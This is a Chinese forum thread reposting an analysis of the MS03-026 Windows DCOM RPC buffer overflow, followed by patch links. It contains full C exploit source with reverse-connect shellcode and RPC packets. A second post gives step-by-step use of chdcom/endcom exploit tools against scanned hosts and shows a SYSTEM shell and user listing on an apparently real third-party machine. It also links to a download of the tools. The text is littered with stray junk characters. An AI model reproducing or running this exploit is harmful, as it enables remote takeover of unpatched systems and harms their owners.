LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM " |; y$ a3 M! \* b% S邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com ; U# p( F, V: b7 M$ l) G! X感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org , n* U0 x" {; u6 ^' J$ s) \ LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 ( o+ k( N) q# a' z6 y9 M& M导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 0 v2 e. u& p, f( D这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 6 J, ?# c4 B* W问题代码如下： GetPathForServer： .text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 : U7 W5 l. [ v' `" r6 G# B, ].text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi ' b1 R: ?0 O5 _6 P% f1 g.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi 3 I& E+ L; `9 R5 F2 u) r.text:761543E9 push 5Ch .text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi ' e3 ?& \& [( a! i* p; a4 g) h) D.text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 9 l5 @* [- S2 Y& H/ L5 r.text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 4 A2 i5 e6 `8 G7 B A。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 ' a& @; _1 Z% e/ H, E* @ ' P$ m- ]- W7 n& x9 E- X, CGetMachineName: ! g% v, X: Y. m' m' X" e& J9 x1 _, _( o.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] 2 w/ r7 G; b3 t9 d.text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] ) I* E! a7 }: b2 ?; X.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C : Q) y1 y r: t) Q9 t8 z9 a.text:7614DB80 jz short loc_7614DB93 ( v f7 d* `' J' Y( r* c2 g.text:7614DB82 sub edx, ecx .text:7614DB84 6 l* p" E) Z1 Y* A3 ?.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j W) B' D) m+ j2 A3 g, Q L.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 3 G. o9 l/ q+ ~, f.text:7614DB87 inc ecx - c* `' S) V* w.text:7614DB88 inc ecx . F+ c2 W `8 S) a6 A% f/ W3 i.text:7614DB89 mov ax, [ecx+edx] / E, d4 a7 j; S, F.text:7614DB8D cmp ax, 5Ch % j, |8 t6 z; Y# f% j: \.text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 ! a9 L3 C2 [& n6 R OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1 p b$ ^0 p! P8 E! g3 V1 M1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 , V( G) V) E: w2 B2 W6 x" a需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 + @: A( o8 Z" M' r: s( f3 J4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 6 x6 m8 _# l+ C9 W5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include #include #include #include #include #include $ G' _9 G( }3 G4 D# |7 n' ] unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, # _. J( A" }0 u- B0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 6 o8 D" W) T/ y0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 7 D# e# y+ M2 L , G, i b* Y3 ^. w+ v- iunsigned char request1[]={ 1 @+ s$ u- f Q7 ~" z ~5 W0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 8 c y6 f' i" E3 _6 j; Z,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ' O9 y" e+ s! S5 j2 Q( M,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 2 \' P. h3 Q! e2 o2 a( [ H,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 0 j) G3 p. t. Q/ f9 l2 Q: ~,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 9 c5 F' ]: b% O. W: t( f,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D : ^* { k/ M; Q& L. D,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 + \& @/ n |0 g2 { ?+ X, J,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ( r. H! Z4 U4 \0 k! x, b,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 7 K& y' B( Z! c/ J$ S8 J& Y: e. s,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 F0 [2 n, O' ]' _& e/ v,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 6 v: L8 z$ I6 |( N c Z,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 9 L7 Z. A/ b+ l3 B( @- _* e- v,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ! g/ G, V& @9 g% h9 K,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 $ e/ H+ Y" G% W/ k6 w" o! [8 m; f,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ( F a j, I3 O3 S: v1 I,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $ G9 E8 T& Z A3 P,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2 T* K. j. J: N$ G! {,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 + F3 H2 O5 O) p1 s5 M,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 8 s3 J2 Y3 M4 w, b) H" },0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 b3 t: A- h: C; H0 C1 },0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 6 Z/ e u- |4 e/ K,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 - b9 J' x% s+ A, ^, F. i,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E % f% Z. K/ v* U# z: S* Y,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 * A: T' T2 F \' g7 @; t,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 D; Z- t8 \& W,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 : b7 w. J6 h% z6 X. l,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ' r+ \2 m( V+ e/ O5 x1 \' f,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ' j# \* J/ ` [# V/ Q,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 8 S& x0 B4 f" ]. e, B4 F4 r* _ . F: O7 r7 e9 u8 Funsigned char request2[]={ 1 f- q& ]0 Z0 @+ x$ {" _ E0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 $ Z+ O& F, }+ ?& q3 n,0x00,0x00,0x5C,0x00,0x5C,0x00}; / g0 o% Z- Z( m# t! F- _" w unsigned char request3[]={ ; a) E. E: a6 Z% p; J" o0x5C,0x00 4 p6 b9 v8 O; p+ Z; r; `- Q5 E,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 4 J. }* S1 ]) }; P# K& K,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 * `6 D# k3 B5 ?9 ^- J,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 & Y2 s& l0 l( ^,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 6 @, Y, J! X4 M9 [ $ d+ ~5 a2 Z/ ?8 C- ]' c0 X" X3 ~unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" % W. N( P1 e3 `/ |' w"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" % `( ]' p4 F1 o% r/ W$ V"\x46\x00\x58\x00" + L. a& N5 t5 _6 a# f& D"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 - U" F% D8 |3 v- T3 K"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C " q- b9 _" u( V# ~"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" ) _9 ]% F8 {% B y$ j+ ^"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" & h" u0 [2 b% t/ X: C// code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" - _: I+ J+ X2 Y"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" 3 |5 _7 f2 J% b( i6 S1 w, l"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" / t4 T( D9 H# \"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" & B0 M/ Z' G' r8 e3 ^"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" ! N* s9 M# p1 h' z- d"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" . ^5 {3 }. c& R& Z9 ^"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" , r! R; Z8 x8 y# E8 o8 t"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" 9 l+ ]7 z r+ `, n) Z; G% l, K: ?"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" 0 w- j9 r9 L; z, h. p8 p; J9 Y"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" x' G. n9 d- Z. E"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" % n. J/ d! l0 J$ Q8 E"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" 4 V: A$ Q4 U& t! s/ p* s2 k"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" 3 k( J# W8 e* L7 H5 T B& z+ y2 R"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; . ` ^ h9 [, u) K; U' Hunsigned char request4[]={ 0x01,0x10 . C! ~# V) A8 g4 I( p,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C u- F6 l" f/ I,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . q# b/ Y7 f. p) g$ Z}; 3 g( u; o0 Z- n9 qvoid main(int argc,char ** argv) 0 u2 C" Y9 f4 S: K{ : B; f/ Y8 C" V; C( q2 ^& yWSADATA WSAData; SOCKET sock; 2 |% G/ q7 b: h; y' A& [. ]int len,len1; : E5 ]& J2 F6 e' x; p3 F% ^1 X* r2 ^SOCKADDR_IN addr_in; short port=135; - d4 s( V4 v6 _4 D9 e! ^' uunsigned char buf1[0x1000]; . x$ c+ F4 L* j# ~/ Bunsigned char buf2[0x1000]; 1 P+ x( N5 r4 p, W+ ]unsigned short port1; DWORD cb; ' h/ y0 Y, ~" R if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) / x. _7 w# Y. k3 j( W, u4 l{ printf("WSAStartup error.Error:%d\n",WSAGetLastError()); $ ^/ w2 I' }, F/ r- ireturn; ; @5 _8 e/ d+ {* O} addr_in.sin_family=AF_INET; ' X6 r4 O9 y1 X. k' J; ?addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) a c6 |. z/ q2 {4 N4 a{ printf("Socket failed.Error:%d\n",WSAGetLastError()); 6 l3 x% _" U& X4 preturn; 4 A! I, S! U/ j, u4 Y+ _} ! Q0 T5 @8 ~9 R; Mif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) - A- r" N8 Q, T2 E( K' n{ 7 o* b5 N6 v: l5 ?3 y5 S( Cprintf("Connect failed.Error:%d",WSAGetLastError()); return; } port1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; , w; A5 x' U; Ecb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， 7 M' Q/ I5 k$ N3 ~) P( S( hcb ^= 0x93939393; # M" F3 r2 M. e0 P9 G*(unsigned short *)&sc[330+0x30] = port1; ; J5 Z# O- w2 V6 `*(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); 4 m) Z1 M/ i1 A4 i ^; J, imemcpy(buf2,request1,sizeof(request1)); 7 R; k. U1 j- ~4 ]$ [len1=sizeof(request1); ; r5 X8 ?4 e/ d*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 - |8 N* {8 L: s& l& _; o: c*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); ; c8 ]6 K4 @% x+ \* q3 nlen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); $ b) ]4 R2 |* ^2 x3 N8 \( U+ Ilen1=len1+sizeof(request3); 2 X8 F3 s; v- t. @9 |memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); [% ?& s! T0 p; y8 b*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; 1 s! {, D a# ~% ^$ N$ h2 q p//计算各种结构的长度 " D, Z. h' A6 s" A8 z' }# [*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; v( Z( k% z0 h( f) e1 z- |, a/ b* z*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 0 P7 m' [" v X3 I*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; 6 q/ v; d0 U3 ?* m*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; & b( e0 O& ^ S" n! ~if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); 3 T' o# j O, w; Q4 Z9 yreturn; 8 b/ K# A. Z' x4 e3 h4 x} ' {$ N/ A5 u. f3 E + b& [+ V# s/ S4 \6 \, u F4 Xlen=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } : V$ T/ c7 B N" D0 F" K" [3 {. elen=recv(sock,buf1,1024,NULL); 4 j/ t$ N; C8 u! x+ M: l: o" q} ) Y# ~& _( g2 N- | 补丁机理： # t& }% B& |. E/ C% Q# t% v补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 0 m$ W2 M! h4 [: C! K( h* f5 H: ?5 @补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: - 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) 0 D) `# X$ S6 U/ L2 `- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) 3 |1 v2 n2 l- T5 y- k @- \- 6 Windows XP SP1 (english) . K# G! C% X( J: A* \. p0 [Usage: chdcom 0 n/ R# I! R) K9 j, t" I" V: Z7 ycedcom针对以下版本: 1 X6 m& z9 S: o2 m: B# \- 0 Windows 2000 SP0 (english) - 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) - 3 Windows 2000 SP3 (english) ) q6 N3 o/ N; l- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) # d6 T( E3 a# v/ u- 6 Windows XP SP1 (english) Usage: endcom 6 G1 k: G; \. m4 `! X; \" h6 Icygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 3 [; M. w# C, M4 h& E$ v我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， ( A( ?- J. N: ~+ G3 M 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 6 i3 ?2 J4 ]: Y9 ?; ` x--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry & _- d# W6 B8 m- Rewritten by HDM last - last by nic ; \7 q# t) J' @8 b F- b-Compiled and recorrected by pingker! 9 S. T3 [ g: G9 W2 B- Using return address of 0x77f92a9b - Dropping to System Shell... & m# @; e( f( L1 J( Q% ]( m . n2 B( Q+ Q+ x; S+ [Microsoft Windows 2000 [Version 5.00.2195] 3 u3 k; W& i1 O0 ?# l1 @(C) Copyright 1985-2000 Microsoft Corp. ( G u; G" ^( j2 Y 3 i* r+ e" ~2 K& N" s3 F( k7 C( r6 k% h, fC:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user net user User accounts for \ ---------------------------------------------------------------------------- 9 I4 g$ ?. r$ ^- @+ j8 \# E--- Administrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 ( l- c# C `; x0 C; L) n+ Eedynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger $ a% ~1 p. l+ @TsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. . s: Y! x* p3 Y' O( `这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 9 C1 J5 `5 h/ i. P+ c3 \/ t. [重启才行. CN可以是繁体或简体中文颁本. 3 m' l+ J" n0 D7 R再次警告:不要对付国内主机!!!!!后果自负!!!! 7 o9 ^% Y6 K% k# h9 Z+ yXDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
2 g1 E- c& t' a& R% K% EWindows NT 4.0 Server ：
9 [" y( m$ e6 U+ F% S5 U
http://microsoft.com/downloads/d ... &displaylang=en
- |- |  h2 \5 F. C7 h0 x: P- [
; `; X7 m( Q- V& Q8 C2 eWindows NT 4.0 Terminal Server Edition：

0 j! L  T2 l9 P4 ]4 w0 z8 ~; B* Dhttp://microsoft.com/downloads/d ... &displaylang=en

1 s! J5 _  k4 g1 v1 NWindows 2000：

' j- V2 Y! O& \4 a* v) ?5 |- ~2 @4 Qhttp://microsoft.com/downloads/d ... &displaylang=en
